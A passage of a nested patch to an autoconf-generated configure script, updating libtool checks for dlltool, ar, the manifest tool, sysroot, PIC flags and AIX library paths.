++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++DLLTOOL=$ac_cv_prog_DLLTOOL
++if test -n "$DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
++$as_echo "$DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_DLLTOOL"; then
++ ac_ct_DLLTOOL=$DLLTOOL
++ # Extract the first word of "dlltool", so it can be a program name with args.
++set dummy dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_DLLTOOL"; then
++ ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_DLLTOOL="dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
++if test -n "$ac_ct_DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
++$as_echo "$ac_ct_DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_DLLTOOL" = x; then
++ DLLTOOL="false"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ DLLTOOL=$ac_ct_DLLTOOL
++ fi
++else
++ DLLTOOL="$ac_cv_prog_DLLTOOL"
++fi
++
++test -z "$DLLTOOL" && DLLTOOL=dlltool
++
++
++
++
++
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5
++$as_echo_n "checking how to associate runtime and link libraries... " >&6; }
++if ${lt_cv_sharedlib_from_linklib_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_sharedlib_from_linklib_cmd='unknown'
++
++case $host_os in
++cygwin* | mingw* | pw32* | cegcc*)
++ # two different shell functions defined in ltmain.sh
++ # decide which to use based on capabilities of $DLLTOOL
++ case `$DLLTOOL --help 2>&1` in
++ *--identify-strict*)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
++ ;;
++ *)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
++ ;;
++ esac
++ ;;
++*)
++ # fallback: assume linklib IS sharedlib
++ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
++ ;;
++esac
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5
++$as_echo "$lt_cv_sharedlib_from_linklib_cmd" >&6; }
++sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
++test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
++
++
++
++
++
++
++
+ plugin_option=
+ plugin_names="liblto_plugin.so liblto_plugin-0.dll cyglto_plugin-0.dll"
+ for plugin in $plugin_names; do
+@@ -8657,8 +8908,10 @@ for plugin in $plugin_names; do
+ done
+
+ if test -n "$ac_tool_prefix"; then
+- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
+-set dummy ${ac_tool_prefix}ar; ac_word=$2
++ for ac_prog in ar
++ do
++ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
++set dummy $ac_tool_prefix$ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_AR+:} false; then :
+@@ -8674,7 +8927,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_AR="${ac_tool_prefix}ar"
++ ac_cv_prog_AR="$ac_tool_prefix$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -8694,11 +8947,15 @@ $as_echo "no" >&6; }
+ fi
+
+
++ test -n "$AR" && break
++ done
+ fi
+-if test -z "$ac_cv_prog_AR"; then
++if test -z "$AR"; then
+ ac_ct_AR=$AR
+- # Extract the first word of "ar", so it can be a program name with args.
+-set dummy ar; ac_word=$2
++ for ac_prog in ar
++do
++ # Extract the first word of "$ac_prog", so it can be a program name with args.
++set dummy $ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_ac_ct_AR+:} false; then :
+@@ -8714,7 +8971,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_ac_ct_AR="ar"
++ ac_cv_prog_ac_ct_AR="$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -8733,6 +8990,10 @@ else
+ $as_echo "no" >&6; }
+ fi
+
++
++ test -n "$ac_ct_AR" && break
++done
++
+ if test "x$ac_ct_AR" = x; then
+ AR="false"
+ else
+@@ -8744,25 +9005,19 @@ ac_tool_warned=yes ;;
+ esac
+ AR=$ac_ct_AR
+ fi
+-else
+- AR="$ac_cv_prog_AR"
+ fi
+
+-test -z "$AR" && AR=ar
+-if test -n "$plugin_option"; then
+- if $AR --help 2>&1 | grep -q "\--plugin"; then
+- touch conftest.c
+- $AR $plugin_option rc conftest.a conftest.c
+- if test "$?" != 0; then
+- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
++ touch conftest.c
++ $AR $plugin_option rc conftest.a conftest.c
++ if test "$?" != 0; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
+ $as_echo "$as_me: WARNING: Failed: $AR $plugin_option rc" >&2;}
+- else
+- AR="$AR $plugin_option"
+- fi
+- rm -f conftest.*
++ else
++ AR="$AR $plugin_option"
+ fi
+-fi
+-test -z "$AR_FLAGS" && AR_FLAGS=cru
++ rm -f conftest.*
++: ${AR=ar}
++: ${AR_FLAGS=cru}
+
+
+
+@@ -8774,6 +9029,64 @@ test -z "$AR_FLAGS" && AR_FLAGS=cru
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
++$as_echo_n "checking for archiver @FILE support... " >&6; }
++if ${lt_cv_ar_at_file+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_ar_at_file=no
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++/* end confdefs.h. */
++
++int
++main ()
++{
++
++ ;
++ return 0;
++}
++_ACEOF
++if ac_fn_c_try_compile "$LINENO"; then :
++ echo conftest.$ac_objext > conftest.lst
++ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5'
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -eq 0; then
++ # Ensure the archiver fails upon bogus file names.
++ rm -f conftest.$ac_objext libconftest.a
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -ne 0; then
++ lt_cv_ar_at_file=@
++ fi
++ fi
++ rm -f conftest.* libconftest.a
++
++fi
++rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
++$as_echo "$lt_cv_ar_at_file" >&6; }
++
++if test "x$lt_cv_ar_at_file" = xno; then
++ archiver_list_spec=
++else
++ archiver_list_spec=$lt_cv_ar_at_file
++fi
++
++
++
++
++
++
++
+ if test -n "$ac_tool_prefix"; then
+ # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args.
+ set dummy ${ac_tool_prefix}strip; ac_word=$2
+@@ -9113,8 +9426,8 @@ esac
+ lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
+
+ # Transform an extracted symbol line into symbol name and symbol address
+-lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
+-lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
+
+ # Handle CRLF in mingw tool chain
+ opt_cr=
+@@ -9150,6 +9463,7 @@ for ac_symprfx in "" "_"; do
+ else
+ lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
+ fi
++ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
+
+ # Check to see that the pipe works correctly.
+ pipe_works=no
+@@ -9191,6 +9505,18 @@ _LT_EOF
+ if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
+ if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
+ cat <<_LT_EOF > conftest.$ac_ext
++/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
++#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
++/* DATA imports from DLLs on WIN32 con't be const, because runtime
++ relocations are performed -- see ld's documentation on pseudo-relocs. */
++# define LT_DLSYM_CONST
++#elif defined(__osf__)
++/* This system does not cope well with relocations in const data. */
++# define LT_DLSYM_CONST
++#else
++# define LT_DLSYM_CONST const
++#endif
++
+ #ifdef __cplusplus
+ extern "C" {
+ #endif
+@@ -9202,7 +9528,7 @@ _LT_EOF
+ cat <<_LT_EOF >> conftest.$ac_ext
+
+ /* The mapping between symbol names and symbols. */
+-const struct {
++LT_DLSYM_CONST struct {
+ const char *name;
+ void *address;
+ }
+@@ -9228,8 +9554,8 @@ static const void *lt_preloaded_setup() {
+ _LT_EOF
+ # Now try linking the two files.
+ mv conftest.$ac_objext conftstm.$ac_objext
+- lt_save_LIBS="$LIBS"
+- lt_save_CFLAGS="$CFLAGS"
++ lt_globsym_save_LIBS=$LIBS
++ lt_globsym_save_CFLAGS=$CFLAGS
+ LIBS="conftstm.$ac_objext"
+ CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
+ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
+@@ -9239,8 +9565,8 @@ _LT_EOF
+ test $ac_status = 0; } && test -s conftest${ac_exeext}; then
+ pipe_works=yes
+ fi
+- LIBS="$lt_save_LIBS"
+- CFLAGS="$lt_save_CFLAGS"
++ LIBS=$lt_globsym_save_LIBS
++ CFLAGS=$lt_globsym_save_CFLAGS
+ else
+ echo "cannot find nm_test_func in $nlist" >&5
+ fi
+@@ -9277,6 +9603,17 @@ else
+ $as_echo "ok" >&6; }
+ fi
+
++# Response file support.
++if test "$lt_cv_nm_interface" = "MS dumpbin"; then
++ nm_file_list_spec='@'
++elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then
++ nm_file_list_spec='@'
++fi
++
++
++
++
++
+
+
+
+@@ -9293,6 +9630,44 @@ fi
+
+
+
++
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
++$as_echo_n "checking for sysroot... " >&6; }
++
++# Check whether --with-libtool-sysroot was given.
++if test "${with_libtool_sysroot+set}" = set; then :
++ withval=$with_libtool_sysroot;
++else
++ with_libtool_sysroot=no
++fi
++
++
++lt_sysroot=
++case ${with_libtool_sysroot} in #(
++ yes)
++ if test "$GCC" = yes; then
++ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
++ fi
++ ;; #(
++ /*)
++ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
++ ;; #(
++ no|'')
++ ;; #(
++ *)
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${with_libtool_sysroot}" >&5
++$as_echo "${with_libtool_sysroot}" >&6; }
++ as_fn_error $? "The sysroot must be an absolute path." "$LINENO" 5
++ ;;
++esac
++
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
++$as_echo "${lt_sysroot:-no}" >&6; }
+
+
+
+@@ -9504,6 +9879,123 @@ esac
+
+ need_locks="$enable_libtool_lock"
+
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args.
++set dummy ${ac_tool_prefix}mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$MANIFEST_TOOL"; then
++ ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL
++if test -n "$MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5
++$as_echo "$MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_MANIFEST_TOOL"; then
++ ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL
++ # Extract the first word of "mt", so it can be a program name with args.
++set dummy mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_MANIFEST_TOOL"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL
++if test -n "$ac_ct_MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5
++$as_echo "$ac_ct_MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_MANIFEST_TOOL" = x; then
++ MANIFEST_TOOL=":"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL
++ fi
++else
++ MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL"
++fi
++
++test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5
++$as_echo_n "checking if $MANIFEST_TOOL is a manifest tool... " >&6; }
++if ${lt_cv_path_mainfest_tool+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_path_mainfest_tool=no
++ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5
++ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
++ cat conftest.err >&5
++ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
++ lt_cv_path_mainfest_tool=yes
++ fi
++ rm -f conftest*
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5
++$as_echo "$lt_cv_path_mainfest_tool" >&6; }
++if test "x$lt_cv_path_mainfest_tool" != xyes; then
++ MANIFEST_TOOL=:
++fi
++
++
++
++
++
+
+ case $host_os in
+ rhapsody* | darwin*)
+@@ -10067,6 +10559,8 @@ _LT_EOF
+ $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
+ echo "$AR cru libconftest.a conftest.o" >&5
+ $AR cru libconftest.a conftest.o 2>&5
++ echo "$RANLIB libconftest.a" >&5
++ $RANLIB libconftest.a 2>&5
+ cat > conftest.c << _LT_EOF
+ int main() { return 0;}
+ _LT_EOF
+@@ -10621,8 +11115,6 @@ fi
+ lt_prog_compiler_pic=
+ lt_prog_compiler_static=
+
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
+-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+
+ if test "$GCC" = yes; then
+ lt_prog_compiler_wl='-Wl,'
+@@ -10788,6 +11280,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='--shared'
+ lt_prog_compiler_static='--static'
+ ;;
++ nagfor*)
++ # NAG Fortran compiler
++ lt_prog_compiler_wl='-Wl,-Wl,,'
++ lt_prog_compiler_pic='-PIC'
++ lt_prog_compiler_static='-Bstatic'
++ ;;
+ pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
+ # Portland Group compilers (*not* the Pentium gcc compiler,
+ # which looks to be a dead project)
+@@ -10850,7 +11348,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='-KPIC'
+ lt_prog_compiler_static='-Bstatic'
+ case $cc_basename in
+- f77* | f90* | f95*)
++ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
+ lt_prog_compiler_wl='-Qoption ld ';;
+ *)
+ lt_prog_compiler_wl='-Wl,';;
+@@ -10907,13 +11405,17 @@ case $host_os in
+ lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
+ ;;
+ esac
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
+-$as_echo "$lt_prog_compiler_pic" >&6; }
+-
+-
+-
+-
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
++$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
++if ${lt_cv_prog_compiler_pic+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_prog_compiler_pic=$lt_prog_compiler_pic
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5
++$as_echo "$lt_cv_prog_compiler_pic" >&6; }
++lt_prog_compiler_pic=$lt_cv_prog_compiler_pic
+
+ #
+ # Check to make sure the PIC flag actually works.
+@@ -10974,6 +11476,11 @@ fi
+
+
+
++
++
++
++
++
+ #
+ # Check to make sure the static flag actually works.
+ #
+@@ -11324,7 +11831,8 @@ _LT_EOF
+ allow_undefined_flag=unsupported
+ always_export_symbols=no
+ enable_shared_with_static_runtimes=yes
+- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
++ exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
+
+ if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+@@ -11423,12 +11931,12 @@ _LT_EOF
+ whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
+ hardcode_libdir_flag_spec=
+ hardcode_libdir_flag_spec_ld='-rpath $libdir'
+- archive_cmds='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
++ archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
+ if test "x$supports_anon_versioning" = xyes; then
+ archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~
+ cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
+ echo "local: *; };" >> $output_objdir/$libname.ver~
+- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
++ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
+ fi
+ ;;
+ esac
+@@ -11442,8 +11950,8 @@ _LT_EOF
+ archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
+ wlarc=
+ else
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ fi
+ ;;
+
+@@ -11461,8 +11969,8 @@ _LT_EOF
+
+ _LT_EOF
+ elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -11508,8 +12016,8 @@ _LT_EOF
+
+ *)
+ if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -11639,7 +12147,13 @@ _LT_EOF
+ allow_undefined_flag='-berok'
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -11652,22 +12166,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
+@@ -11679,7 +12200,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ else
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -11692,22 +12219,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
